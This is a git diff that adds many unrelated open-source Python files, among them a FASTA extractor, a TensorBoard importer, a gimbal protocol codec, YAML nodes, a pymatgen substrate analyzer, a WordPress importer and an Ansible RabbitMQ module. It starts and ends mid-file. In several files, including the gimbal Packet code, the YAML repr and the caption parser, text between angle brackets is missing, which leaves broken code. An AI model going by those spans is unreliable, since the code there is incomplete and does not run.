automatically be reverse complemented in the final "outfile.fasta" file. + +# Script execution: +# $ python parse_seq.py + +import sys +import os +from Bio import SeqIO +from Bio.Seq import Seq +from Bio.Alphabet import generic_dna + +in_file = sys.argv[1] +genome_path = os.path.abspath("genome_files/") + +with open(in_file) as f: + content = f.readlines() + for line in content: + source = os.path.join(genome_path, line.split("\t")[1] + ".fasta") + header = ">" + line.split("\t")[0] + "_" + source.split(".")[0] + seq_start = int(line.split("\t")[8]) - 1 + seq_end = int(line.split("\t")[9]) + 1 + if seq_start > seq_end: + seq_start = int(line.split("\t")[9]) - 1 + seq_end = int(line.split("\t")[8]) + 1 + + for line in SeqIO.parse(source, "fasta"): + out_seq = line.seq[seq_start:seq_end] + final_seq = str(out_seq.reverse_complement()) + with open("outfile.fa", "a") as out: + out.write(header + "\n") + out.write(final_seq + "\n") + + else: + for line in SeqIO.parse(source, "fasta"): + out_seq = str(line.seq[seq_start:seq_end]) + with open("outfile.fa", "a") as out: + out.write(header + "\n") + out.write(out_seq + "\n") diff --git a/pool/shard008/Python/0075391_import_pb_to_tensorboard.py b/pool/shard008/Python/0075391_import_pb_to_tensorboard.py new file mode 100644 index 0000000000000000000000000000000000000000..abf1e93d2807b6efc9dbc15f47c822a3f4174ef1 --- /dev/null +++ b/pool/shard008/Python/0075391_import_pb_to_tensorboard.py @@ -0,0 +1,90 @@ +# Copyright 2017 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ================================ +"""Imports a protobuf model as a graph in Tensorboard.""" + +import argparse +import sys + +from absl import app + +from tensorflow.python.client import session +from tensorflow.python.framework import importer +from tensorflow.python.framework import ops +from tensorflow.python.summary import summary +from tensorflow.python.tools import saved_model_utils + +# Try importing TensorRT ops if available +# TODO(aaroey): ideally we should import everything from contrib, but currently +# tensorrt module would cause build errors when being imported in +# tensorflow/contrib/__init__.py. Fix it. +# pylint: disable=unused-import,g-import-not-at-top,wildcard-import +try: + from tensorflow.contrib.tensorrt.ops.gen_trt_engine_op import * +except ImportError: + pass +# pylint: enable=unused-import,g-import-not-at-top,wildcard-import + + +def import_to_tensorboard(model_dir, log_dir, tag_set): + """View an SavedModel as a graph in Tensorboard. + + Args: + model_dir: The directory containing the SavedModel to import. + log_dir: The location for the Tensorboard log to begin visualization from. + tag_set: Group of tag(s) of the MetaGraphDef to load, in string format, + separated by ','. For tag-set contains multiple tags, all tags must be + passed in. + Usage: Call this function with your SavedModel location and desired log + directory. Launch Tensorboard by pointing it to the log directory. View your + imported SavedModel as a graph. + """ + with session.Session(graph=ops.Graph()) as sess: + input_graph_def = saved_model_utils.get_meta_graph_def(model_dir, + tag_set).graph_def + importer.import_graph_def(input_graph_def) + + pb_visual_writer = summary.FileWriter(log_dir) + pb_visual_writer.add_graph(sess.graph) + print("Model Imported. Visualize by running: " + "tensorboard --logdir={}".format(log_dir)) + + +def main(_): + import_to_tensorboard(FLAGS.model_dir, FLAGS.log_dir, FLAGS.tag_set) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.register("type", "bool", lambda v: v.lower() == "true") + parser.add_argument( + "--model_dir", + type=str, + default="", + required=True, + help="The directory containing the SavedModel to import.") + parser.add_argument( + "--log_dir", + type=str, + default="", + required=True, + help="The location for the Tensorboard log to begin visualization from.") + parser.add_argument( + "--tag_set", + type=str, + default="serve", + required=False, + help='tag-set of graph in SavedModel to load, separated by \',\'') + FLAGS, unparsed = parser.parse_known_args() + app.run(main=main, argv=[sys.argv[0]] + unparsed) diff --git a/pool/shard008/Python/0075396_fyproto.py b/pool/shard008/Python/0075396_fyproto.py new file mode 100644 index 0000000000000000000000000000000000000000..554a2efa5efddf076606785716be7d5541a0b5a5 --- /dev/null +++ b/pool/shard008/Python/0075396_fyproto.py @@ -0,0 +1,101 @@ +''' +Low level Feiyu Gimbal protocol encoding and decoding +(No serial port dependency) +''' + +import struct +import binascii + +LONG_FORM = 0xaa55 +SHORT_FORM = 0x5aa5 + +# LONG_FORM commands +# cmd00 Init / Firmware version + +# SHORT_FORM commands +# cmd00 Control data from MCU2 to MCU1: int16(param09), int16(cmd0d), int32(param09+math), int32(cmd0d), uint8(mode) +# cmd01 Joystick data from MCU0 +# cmd03 Motor On/Off +# cmd04 Capture gyro drift compensation. Writes to param59-5b +# cmd05 Save config space +# cmd06 Get 16-bit value from config space +# cmd07 Write to 5c-5e (pitch/roll adjust) with floating point side-effect, mcu2-only +# cmd08 Set 16-bit value in config space +# cmd09 Read back param5c-5e (pitch/roll adjust), mcu2-only +# cmd0a Set telemetry feedback mode (cmd00, cmd0d, maybe 2/3 axis, mcu2-only?) +# cmd0b Init PC control handshake +# cmd0c Capture calibrated angle (CAL0/CAL1) +# cmd0d Control data from MCU1 to MCU0: int32, int16, uint8(mode) +# cmd30 Toggle joystick-related param68 (mcu2-only) + +class Packet: + formats = { + LONG_FORM: { 'len_struct': 'H', 'initial_crc_value': 0xffff }, + SHORT_FORM: { 'len_struct': 'B', 'initial_crc_value': 0x0000 }, + } + + def __init__(self, command, framing=SHORT_FORM, target=0, data=b''): + if framing not in self.formats: + raise ValueError('Unknown framing type 0x%04x', framing) + self.command = command + self.framing = framing + self.target = target + self.data = data + + def __repr__(self): + return '' % ( + self.framing, self.target, self.command, binascii.b2a_hex(self.data).decode()) + + @classmethod + def crc(cls, framing, data): + '''CRC-16 with an initial value that depends on the packet format''' + return binascii.crc_hqx(data, cls.formats[framing]['initial_crc_value']) + + def format_option(self, name, default=None): + return self.formats[self.framing].get(name, default) + + def pack(self): + parts = [ + struct.pack('BB', self.target, self.command), + struct.pack('<' + self.format_option('len_struct'), len(self.data)), + self.data + ] + parts.append(struct.pack('= 2: + framing = struct.unpack(' 75: + # value = repr(value[:70]+u' ... ') + # else: + # value = repr(value) + value = repr(value) + return '%s(tag=%r, value=%s)' % (self.__class__.__name__, + self.tag, value) + + def dump(self, indent=0): + if isinstance(self.value, basestring): + print('{}{}(tag={!r}, value={!r})'.format( + ' ' * indent, self.__class__.__name__, self.tag, self.value)) + if self.comment: + print(' {}comment: {})'.format( + ' ' * indent, self.comment)) + return + print('{}{}(tag={!r})'.format( + ' ' * indent, self.__class__.__name__, self.tag)) + if self.comment: + print(' {}comment: {})'.format( + ' ' * indent, self.comment)) + for v in self.value: + if isinstance(v, tuple): + for v1 in v: + v1.dump(indent+1) + elif isinstance(v, Node): + v.dump(indent+1) + else: + print('Node value type?', type(v)) + + +class ScalarNode(Node): + """ + styles: + ? -> set() ? key, no value + " -> double quoted + ' -> single quoted + | -> literal style + > -> + """ + id = 'scalar' + + def __init__(self, tag, value, start_mark=None, end_mark=None, style=None, + comment=None): + Node.__init__(self, tag, value, start_mark, end_mark, comment=comment) + self.style = style + + +class CollectionNode(Node): + def __init__(self, tag, value, start_mark=None, end_mark=None, + flow_style=None, comment=None, anchor=None): + Node.__init__(self, tag, value, start_mark, end_mark, comment=comment) + self.flow_style = flow_style + self.anchor = anchor + + +class SequenceNode(CollectionNode): + id = 'sequence' + + +class MappingNode(CollectionNode): + id = 'mapping' diff --git a/pool/shard008/Python/0075405_substrate_analyzer.py b/pool/shard008/Python/0075405_substrate_analyzer.py new file mode 100644 index 0000000000000000000000000000000000000000..cce20b90eeb2f1ed0ecee4ba88519ab5560f4a68 --- /dev/null +++ b/pool/shard008/Python/0075405_substrate_analyzer.py @@ -0,0 +1,203 @@ +# Copyright (c) Pymatgen Development Team. +# Distributed under the terms of the MIT License. + +""" +This module provides classes to identify optimal substrates for film growth +""" + +from dataclasses import dataclass +from typing import Tuple + +from pymatgen.analysis.elasticity.strain import Deformation, Strain +from pymatgen.analysis.interfaces.zsl import ZSLGenerator, ZSLMatch, reduce_vectors +from pymatgen.core import Structure +from pymatgen.core.surface import ( + SlabGenerator, + get_symmetrically_distinct_miller_indices, +) + +Miller3D = Tuple[int, int, int] +Vector3D = Tuple[float, float, float] +Matrix3D = Tuple[Vector3D, Vector3D, Vector3D] + + +@dataclass +class SubstrateMatch(ZSLMatch): + """ + A substrate match building on the Zur and McGill algorithm. This match class includes the miller + planes of the film and substrate the full strain tensor, the Von Mises strain, the ground state + energy if provided, and the elastic energy + """ + + film_miller: Miller3D + substrate_miller: Miller3D + strain: Strain + von_mises_strain: float + ground_state_energy: float + elastic_energy: float + + @classmethod + def from_zsl( + cls, + match: ZSLMatch, + film: Structure, + film_miller, + substrate_miller, + elasticity_tensor=None, + ground_state_energy=0, + ): + """Generate a substrate match from a ZSL match plus metadata""" + + # Get the appropriate surface structure + struc = SlabGenerator(film, film_miller, 20, 15, primitive=False).get_slab().oriented_unit_cell + + dfm = Deformation(match.match_transformation) + + strain = dfm.green_lagrange_strain.convert_to_ieee(struc, initial_fit=False) + von_mises_strain = strain.von_mises_strain + + if elasticity_tensor is not None: + energy_density = elasticity_tensor.energy_density(strain) + + elastic_energy = film.volume * energy_density / len(film.sites) + else: + elastic_energy = 0 + + return cls( + film_miller=film_miller, + substrate_miller=substrate_miller, + strain=strain, + von_mises_strain=von_mises_strain, + elastic_energy=elastic_energy, + ground_state_energy=ground_state_energy, + **{ + k: getattr(match, k) + for k in [ + "film_sl_vectors", + "substrate_sl_vectors", + "film_vectors", + "substrate_vectors", + "film_transformation", + "substrate_transformation", + ] + }, + ) + + @property + def total_energy(self): + """Total energy of this match""" + return self.ground_state_energy + self.elastic_energy + + +class SubstrateAnalyzer(ZSLGenerator): + """ + This class applies a set of search criteria to identify suitable + substrates for film growth. It first uses a topoplogical search by Zur + and McGill to identify matching super-lattices on various faces of the + two materials. Additional criteria can then be used to identify the most + suitable substrate. Currently, the only additional criteria is the + elastic strain energy of the super-lattices + """ + + def __init__(self, film_max_miller=1, substrate_max_miller=1, **kwargs): + """ + Initializes the substrate analyzer + Args: + zslgen(ZSLGenerator): Defaults to a ZSLGenerator with standard + tolerances, but can be fed one with custom tolerances + film_max_miller(int): maximum miller index to generate for film + surfaces + substrate_max_miller(int): maximum miller index to generate for + substrate surfaces + """ + self.film_max_miller = film_max_miller + self.substrate_max_miller = substrate_max_miller + self.kwargs = kwargs + super().__init__(**kwargs) + + def generate_surface_vectors(self, film_millers, substrate_millers): + """ + Generates the film/substrate slab combinations for a set of given + miller indices + + Args: + film_millers(array): all miller indices to generate slabs for + film + substrate_millers(array): all miller indices to generate slabs + for substrate + """ + vector_sets = [] + + for f in film_millers: + film_slab = SlabGenerator(self.film, f, 20, 15, primitive=False).get_slab() + film_vectors = reduce_vectors(film_slab.lattice.matrix[0], film_slab.lattice.matrix[1]) + + for s in substrate_millers: + substrate_slab = SlabGenerator(self.substrate, s, 20, 15, primitive=False).get_slab() + substrate_vectors = reduce_vectors(substrate_slab.lattice.matrix[0], substrate_slab.lattice.matrix[1]) + + vector_sets.append((film_vectors, substrate_vectors, f, s)) + + return vector_sets + + def calculate( + self, + film, + substrate, + elasticity_tensor=None, + film_millers=None, + substrate_millers=None, + ground_state_energy=0, + lowest=False, + ): + """ + Finds all topological matches for the substrate and calculates elastic + strain energy and total energy for the film if elasticity tensor and + ground state energy are provided: + + Args: + film(Structure): conventional standard structure for the film + substrate(Structure): conventional standard structure for the + substrate + elasticity_tensor(ElasticTensor): elasticity tensor for the film + in the IEEE orientation + film_millers(array): film facets to consider in search as defined by + miller indices + substrate_millers(array): substrate facets to consider in search as + defined by miller indices + ground_state_energy(float): ground state energy for the film + lowest(bool): only consider lowest matching area for each surface + """ + self.film = film + self.substrate = substrate + + # Generate miller indices if none specified for film + if film_millers is None: + film_millers = sorted(get_symmetrically_distinct_miller_indices(self.film, self.film_max_miller)) + + # Generate miller indices if none specified for substrate + if substrate_millers is None: + substrate_millers = sorted( + get_symmetrically_distinct_miller_indices(self.substrate, self.substrate_max_miller) + ) + + # Check each miller index combination + surface_vector_sets = self.generate_surface_vectors(film_millers, substrate_millers) + for [ + film_vectors, + substrate_vectors, + film_miller, + substrate_miller, + ] in surface_vector_sets: + for match in self(film_vectors, substrate_vectors, lowest): + + sub_match = SubstrateMatch.from_zsl( + match=match, + film=film, + film_miller=film_miller, + substrate_miller=substrate_miller, + elasticity_tensor=elasticity_tensor, + ground_state_energy=ground_state_energy, + ) + + yield sub_match diff --git a/pool/shard008/Python/0075409_import_wordpress.py b/pool/shard008/Python/0075409_import_wordpress.py new file mode 100644 index 0000000000000000000000000000000000000000..7cb4db977bf103f1860b5d57d08e81c4688f1276 --- /dev/null +++ b/pool/shard008/Python/0075409_import_wordpress.py @@ -0,0 +1,121 @@ +from __future__ import unicode_literals +from future.builtins import int + +from collections import defaultdict +from datetime import datetime, timedelta +from optparse import make_option +import re +from time import mktime, timezone +from xml.dom.minidom import parse + +from django.core.management.base import CommandError +from django.utils.html import linebreaks + +from zhiliao.blog.management.base import BaseImporterCommand + + +class Command(BaseImporterCommand): + """ + Implements a Wordpress importer. Takes a file path or a URL for the + Wordpress Extended RSS file. + """ + + option_list = BaseImporterCommand.option_list + ( + make_option("-u", "--url", dest="url", help="URL to import file"), + ) + + def get_text(self, xml, name, nodetype): + """ + Gets the element's text value from the XML object provided. + """ + nodes = xml.getElementsByTagName("wp:comment_" + name)[0].childNodes + return "".join([n.data for n in nodes if n.nodeType == nodetype]) + + def handle_import(self, options): + """ + Gets the posts from either the provided URL or the path if it + is local. + """ + + url = options.get("url") + if url is None: + raise CommandError("Usage is import_wordpress %s" % self.args) + try: + import feedparser + except ImportError: + raise CommandError("Could not import the feedparser library.") + feed = feedparser.parse(url) + + # We use the minidom parser as well because feedparser won't + # interpret WXR comments correctly and ends up munging them. + # xml.dom.minidom is used simply to pull the comments when we + # get to them. + xml = parse(url) + xmlitems = xml.getElementsByTagName("item") + + for (i, entry) in enumerate(feed["entries"]): + # Get a pointer to the right position in the minidom as well. + xmlitem = xmlitems[i] + content = linebreaks(self.wp_caption(entry.content[0]["value"])) + + # Get the time struct of the published date if possible and + # the updated date if we can't. + pub_date = getattr(entry, "published_parsed", entry.updated_parsed) + if pub_date: + pub_date = datetime.fromtimestamp(mktime(pub_date)) + pub_date -= timedelta(seconds=timezone) + + # Tags and categories are all under "tags" marked with a scheme. + terms = defaultdict(set) + for item in getattr(entry, "tags", []): + terms[item.scheme].add(item.term) + + if entry.wp_post_type == "post": + post = self.add_post(title=entry.title, content=content, + pub_date=pub_date, tags=terms["tag"], + categories=terms["category"], + old_url=entry.id) + + # Get the comments from the xml doc. + for c in xmlitem.getElementsByTagName("wp:comment"): + name = self.get_text(c, "author", c.CDATA_SECTION_NODE) + email = self.get_text(c, "author_email", c.TEXT_NODE) + url = self.get_text(c, "author_url", c.TEXT_NODE) + body = self.get_text(c, "content", c.CDATA_SECTION_NODE) + pub_date = self.get_text(c, "date_gmt", c.TEXT_NODE) + fmt = "%Y-%m-%d %H:%M:%S" + pub_date = datetime.strptime(pub_date, fmt) + pub_date -= timedelta(seconds=timezone) + self.add_comment(post=post, name=name, email=email, + body=body, website=url, + pub_date=pub_date) + + elif entry.wp_post_type == "page": + old_id = getattr(entry, "wp_post_id") + parent_id = getattr(entry, "wp_post_parent") + self.add_page(title=entry.title, content=content, + tags=terms["tag"], old_id=old_id, + old_parent_id=parent_id) + + def wp_caption(self, post): + """ + Filters a Wordpress Post for Image Captions and renders to + match HTML. + """ + for match in re.finditer(r"\[caption (.*?)\](.*?)\[/caption\]", post): + meta = '
= MAX_HEAP_SIZE: + heapq.heapreplace(_log_client_heap, new_client_tuple) + else: + heapq.heappush(_log_client_heap, new_client_tuple) + + return client + finally: + _log_client_lock.release() diff --git a/pool/shard008/Python/0075411_tree1024.py b/pool/shard008/Python/0075411_tree1024.py new file mode 100644 index 0000000000000000000000000000000000000000..9397131b95e0847374659bad37f9682aa02195a8 --- /dev/null +++ b/pool/shard008/Python/0075411_tree1024.py @@ -0,0 +1,18 @@ +#!/usr/bin/python + +""" +Create a 1024-host network, and run the CLI on it. +If this fails because of kernel limits, you may have +to adjust them, e.g. by adding entries to /etc/sysctl.conf +and running sysctl -p. Check util/sysctl_addon. +""" + +from mininet.cli import CLI +from mininet.log import setLogLevel +from mininet.node import OVSKernelSwitch +from mininet.topolib import TreeNet + +if __name__ == '__main__': + setLogLevel( 'info' ) + network = TreeNet( depth=2, fanout=32, switch=OVSKernelSwitch ) + network.run( CLI, network ) diff --git a/pool/shard008/Python/0075427_rabbitmq_exchange.py b/pool/shard008/Python/0075427_rabbitmq_exchange.py new file mode 100644 index 0000000000000000000000000000000000000000..6f3ce143c4a8b86e6c6b69249c93ab91d1560c87 --- /dev/null +++ b/pool/shard008/Python/0075427_rabbitmq_exchange.py @@ -0,0 +1,218 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +# (c) 2015, Manuel Sousa +# +# This file is part of Ansible +# +# Ansible is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Ansible is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Ansible. If not, see . +# + +DOCUMENTATION = ''' +--- +module: rabbitmq_exchange +author: '"Manuel Sousa (@manuel-sousa)" ' +version_added: "2.0" + +short_description: This module manages rabbitMQ exchanges +description: + - This module uses rabbitMQ Rest API to create/delete exchanges +requirements: [ python requests ] +options: + name: + description: + - Name of the exchange to create + required: true + state: + description: + - Whether the exchange should be present or absent + - Only present implemented atm + choices: [ "present", "absent" ] + required: false + default: present + login_user: + description: + - rabbitMQ user for connection + required: false + default: guest + login_password: + description: + - rabbitMQ password for connection + required: false + default: false + login_host: + description: + - rabbitMQ host for connection + required: false + default: localhost + login_port: + description: + - rabbitMQ management api port + required: false + default: 15672 + vhost: + description: + - rabbitMQ virtual host + required: false + default: "/" + durable: + description: + - whether exchange is durable or not + required: false + choices: [ "yes", "no" ] + default: yes + exchange_type: + description: + - type for the exchange + required: false + choices: [ "fanout", "direct", "headers", "topic" ] + aliases: [ "type" ] + default: direct + auto_delete: + description: + - if the exchange should delete itself after all queues/exchanges unbound from it + required: false + choices: [ "yes", "no" ] + default: no + internal: + description: + - exchange is available only for other exchanges + required: false + choices: [ "yes", "no" ] + default: no + arguments: + description: + - extra arguments for exchange. If defined this argument is a key/value dictionary + required: false + default: {} +''' + +EXAMPLES = ''' +# Create direct exchange +- rabbitmq_exchange: name=directExchange + +# Create topic exchange on vhost +- rabbitmq_exchange: name=topicExchange type=topic vhost=myVhost +''' + +import requests +import urllib +import json + +def main(): + module = AnsibleModule( + argument_spec = dict( + state = dict(default='present', choices=['present', 'absent'], type='str'), + name = dict(required=True, type='str'), + login_user = dict(default='guest', type='str'), + login_password = dict(default='guest', type='str', no_log=True), + login_host = dict(default='localhost', type='str'), + login_port = dict(default='15672', type='str'), + vhost = dict(default='/', type='str'), + durable = dict(default=True, choices=BOOLEANS, type='bool'), + auto_delete = dict(default=False, choices=BOOLEANS, type='bool'), + internal = dict(default=False, choices=BOOLEANS, type='bool'), + exchange_type = dict(default='direct', aliases=['type'], type='str'), + arguments = dict(default=dict(), type='dict') + ), + supports_check_mode = True + ) + + url = "http://%s:%s/api/exchanges/%s/%s" % ( + module.params['login_host'], + module.params['login_port'], + urllib.quote(module.params['vhost'],''), + module.params['name'] + ) + + # Check if exchange already exists + r = requests.get( url, auth=(module.params['login_user'],module.params['login_password'])) + + if r.status_code==200: + exchange_exists = True + response = r.json() + elif r.status_code==404: + exchange_exists = False + response = r.text + else: + module.fail_json( + msg = "Invalid response from RESTAPI when trying to check if exchange exists", + details = r.text + ) + + if module.params['state']=='present': + change_required = not exchange_exists + else: + change_required = exchange_exists + + # Check if attributes change on existing exchange + if not change_required and r.status_code==200 and module.params['state'] == 'present': + if not ( + response['durable'] == module.params['durable'] and + response['auto_delete'] == module.params['auto_delete'] and + response['internal'] == module.params['internal'] and + response['type'] == module.params['exchange_type'] + ): + module.fail_json( + msg = "RabbitMQ RESTAPI doesn't support attribute changes for existing exchanges" + ) + + # Exit if check_mode + if module.check_mode: + module.exit_json( + changed= change_required, + name = module.params['name'], + details = response, + arguments = module.params['arguments'] + ) + + # Do changes + if change_required: + if module.params['state'] == 'present': + r = requests.put( + url, + auth = (module.params['login_user'],module.params['login_password']), + headers = { "content-type": "application/json"}, + data = json.dumps({ + "durable": module.params['durable'], + "auto_delete": module.params['auto_delete'], + "internal": module.params['internal'], + "type": module.params['exchange_type'], + "arguments": module.params['arguments'] + }) + ) + elif module.params['state'] == 'absent': + r = requests.delete( url, auth = (module.params['login_user'],module.params['login_password'])) + + if r.status_code == 204: + module.exit_json( + changed = True, + name = module.params['name'] + ) + else: + module.fail_json( + msg = "Error creating exchange", + status = r.status_code, + details = r.text + ) + + else: + module.exit_json( + changed = False, + name = module.params['name'] + ) + +# import module snippets +from ansible.module_utils.basic import * +main() diff --git a/pool/shard008/Python/0075431_urls.py b/pool/shard008/Python/0075431_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..962861fe3dd1258156c8f6c4333db8eaa68281a8 --- /dev/null +++ b/pool/shard008/Python/0075431_urls.py @@ -0,0 +1,15 @@ +"""URL configurations for notifications""" +from django.conf.urls import url, include + +from rest_framework.routers import DefaultRouter + +from notifications.views import NotificationSettingsViewSet + +router = DefaultRouter() +router.register( + r"notification_settings", + NotificationSettingsViewSet, + basename="notification_settings", +) + +urlpatterns = [url(r"^api/v0/", include(router.urls))] diff --git a/pool/shard008/Python/0075437_Utilities.py b/pool/shard008/Python/0075437_Utilities.py new file mode 100644 index 0000000000000000000000000000000000000000..eaac6d7ced4291e0bcefa0e44b621e855d894521 --- /dev/null +++ b/pool/shard008/Python/0075437_Utilities.py @@ -0,0 +1,135 @@ +__author__ = 'briannelson' +import numpy as np +import pyaudio +import datetime +import sys + + +class Utilities: + def __init__(self): + """ + Constructor + """ + + + @staticmethod + def array_from_bytes(data_chunk, sample_width, data_type): + data_length = len(data_chunk) + remainder = data_length % sample_width + + if remainder == 0: + reading_count = data_length // sample_width + channel1 = np.zeros(reading_count, dtype=data_type) + + current_position = 0 + + for x in range(0, reading_count): + byte_array = bytearray(sample_width) + bytearray.zfill(byte_array, sample_width) + + for y in range(0, sample_width): + byte_array[y] = data_chunk[current_position] + current_position += 1 + + if data_type == np.int16 or data_type == np.int32: + channel1[x] = int.from_bytes(byte_array, byteorder='little', signed=True) + else: + channel1[x] = float.from_bytes(byte_array, byteorder='little', signed=True) + + + return {'Channel1': channel1 } + else: + return None + + + @staticmethod + def deinterleave(data, sample_width, data_type): + channel_count = 2 + data_length = len(data) + remainder = data_length % (sample_width * channel_count) + + if remainder == 0: + reading_count = data_length // (sample_width * channel_count) + + channel1 = np.zeros(reading_count, dtype=data_type) + channel2 = np.zeros(reading_count, dtype=data_type) + current_position = 0 + + for x in range(0, reading_count): + byte_array = bytearray(sample_width) + bytearray.zfill(byte_array, sample_width) + + for y in range(0, sample_width): + byte_array[y] = data[current_position] + current_position += 1 + + if data_type == np.int16 or data_type == np.int32: + channel1[x] = int.from_bytes(byte_array, byteorder='little', signed=True) + else: + channel1[x] = float.from_bytes(byte_array, byteorder='little', signed=True) + + bytearray.zfill(byte_array, sample_width) + for y in range(0, sample_width): + byte_array[y] = data[current_position] + current_position += 1 + + if data_type == np.int16 or data_type == np.int32: + channel2[x] = int.from_bytes(byte_array, byteorder='little', signed=True) + else: + channel2[x] = float.from_bytes(byte_array, byteorder='little', signed=True) + + return {'Channel1': channel1, 'Channel2': channel2} + else: + return None + + @staticmethod + def get_second_of_audio(audio_config): + CHUNK = 8000 + + audio_device = pyaudio.PyAudio() + CHUNKS_PER_SECOND = int(audio_config.SamplingRate / CHUNK) + + audio_output = np.zeros(audio_config.SamplingRate, audio_config.NumberFormat) + stream = None + time = None + + try: + audio_device = pyaudio.PyAudio() + + stream = audio_device.open(format=audio_config.AudioFormat, + channels=1, + rate=audio_config.SamplingRate, + input=True, + frames_per_buffer=CHUNK) + + time = datetime.datetime.utcnow() + + current_sample_position = 0 + + #Read a second worth of data + for i in range(0, CHUNKS_PER_SECOND): + try: + data_chunk = stream.read(CHUNK) + + result = Utilities.array_from_bytes(data_chunk, audio_config.SampleBytes, audio_config.NumberFormat) + + channel1 = result['Channel1'] + for j in range(0, CHUNK): + audio_output[current_sample_position] = channel1[j] + current_sample_position += 1 + except: + print(sys.exc_info()) + current_sample_position += CHUNK + + return { "Time": time, "Data": audio_output} + except: + print("Unable to open audio stream.") + + return { "Time": None, "Data": None} + finally: + if stream is not None: + #close the audio stream + stream.stop_stream() + stream.close() + audio_device.terminate() + diff --git a/pool/shard008/Python/0075438_plannerwindow.py b/pool/shard008/Python/0075438_plannerwindow.py new file mode 100644 index 0000000000000000000000000000000000000000..b28ec5cdb6e63b1bbdbd64c349f7f57d30bc9395 --- /dev/null +++ b/pool/shard008/Python/0075438_plannerwindow.py @@ -0,0 +1,104 @@ +import pyglet +from pyplan.environment import parse_world, Environment +from pyplan.geometry import Polygon, Collection +from pyplan.robot import Point_Robot +from pyplan.renderer import Renderer, RRT_draw, Enviornment_draw, set_projection +from pyplan.renderer import get_mouse_coord +from pyplan.planner import RRT +from pyglet.window import key +import numpy as np + + + +filepath = 'testworld.xml' +robot = Point_Robot() +start, goal, pos_range, polys = parse_world(filepath) +envi = Environment(Collection([Polygon(p) for p in polys]), robot, pos_range) +rrt_planner = RRT(environment = envi, + robot = robot, + step_size = 0.5, + max_iterations = 200, + screenshot_rate = 20, + save_screenshots = True) + +path, rrt_data = rrt_planner(start, goal) +index_range = [0, len(rrt_data['screenshots'])-1] +index = len(rrt_data['screenshots'])-1 + +configTemp = pyglet.gl.Config(sample_buffers=1, + samples=4, + double_buffer=True, + alpha_size=0) + +platform = pyglet.window.get_platform() +display = platform.get_default_display() +screen = display.get_default_screen() + +try: + config= screen.get_best_config(configTemp) +except: + config=pyglet.gl.Config(double_buffer=True) + +window = pyglet.window.Window(config=config, resizable=True) + + +rrt_renderer = Renderer(rrt_data=rrt_data, render_call=RRT_draw) +env_renderer = Renderer(environment=envi, render_call=Enviornment_draw) + +@window.event +def on_draw(): + window.clear() + env_renderer.draw() + rrt_renderer.draw() + +@window.event +def on_resize(width, height): + pyglet.gl.glViewport(0, 0, width, height) + if envi != None: + set_projection(envi, width, height) + else: + pyglet.gl.glMatrixMode(pyglet.gl.GL_PROJECTION) + pyglet.gl.glLoadIdentity() + pyglet.gl.glOrtho(0, 10, 0, 10, -1, 1) + pyglet.gl.glMatrixMode(pyglet.gl.GL_MODELVIEW) + return True + +@window.event +def on_mouse_scroll(x, y, scroll_x, scroll_y): + (mx, my)= get_mouse_coord(x, y) + pyglet.gl.glTranslatef(mx, my, 0) + pyglet.gl.glScalef(1.05**scroll_y, 1.05**scroll_y, 1) + pyglet.gl.glTranslatef(-mx, -my, 0) + +@window.event +def on_mouse_drag(x, y, dx, dy, buttons, modifiers): + mcoord1 = get_mouse_coord(x, y) + mcoord2 = get_mouse_coord(x + dx, y+ dy) + pyglet.gl.glTranslatef(mcoord2[0] - mcoord1[0], mcoord2[1] - mcoord1[1], 0) + +def on_key_press(symbol, modifiers): + global index, index_range, rrt_renderer + if symbol == key.RIGHT: + index = np.clip(index + 1, *index_range) + rrt_renderer = Renderer(rrt_data=rrt_data, + render_call=RRT_draw, + index = index) + if symbol == key.LEFT: + index = np.clip(index -1, *index_range) + rrt_renderer = Renderer(rrt_data=rrt_data, + render_call=RRT_draw, + index = index) + + + +window.push_handlers(on_key_press) + + +if __name__ == '__main__': + pyglet.gl.glEnable(pyglet.gl.GL_BLEND) + pyglet.gl.glBlendFunc(pyglet.gl.GL_SRC_ALPHA, pyglet.gl.GL_ONE_MINUS_SRC_ALPHA) + pyglet.gl.glEnable(pyglet.gl.GL_LINE_SMOOTH ) + pyglet.gl.glEnable(pyglet.gl.GL_POLYGON_SMOOTH ) + pyglet.gl.glEnable(pyglet.gl.GL_POINT_SMOOTH ) + pyglet.gl.glClearColor(0, 0, 0, 1.0) + pyglet.app.run() \ No newline at end of file diff --git a/pool/shard008/Python/0075441_plot_trace.py b/pool/shard008/Python/0075441_plot_trace.py new file mode 100644 index 0000000000000000000000000000000000000000..259025d602f24381013a62dffc2d2a3c7484e663 --- /dev/null +++ b/pool/shard008/Python/0075441_plot_trace.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python + +############################################################################### +# Copyright 2017 The Apollo Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +############################################################################### + +import sys + +import matplotlib.animation as animation +import matplotlib.pyplot as plt +import numpy as np + +from modules.canbus.proto import chassis_pb2 +from modules.localization.proto import localization_pb2 + +GPS_X = list() +GPS_Y = list() +GPS_LINE = None +DRIVING_MODE_TEXT = "" +CHASSIS_TOPIC = "/apollo/canbus/chassis" +LOCALIZATION_TOPIC = "/apollo/localization/pose" +IS_AUTO_MODE = False + +def chassis_callback(chassis_data): + global IS_AUTO_MODE + if chassis_data.driving_mode == chassis_pb2.Chassis.COMPLETE_AUTO_DRIVE: + 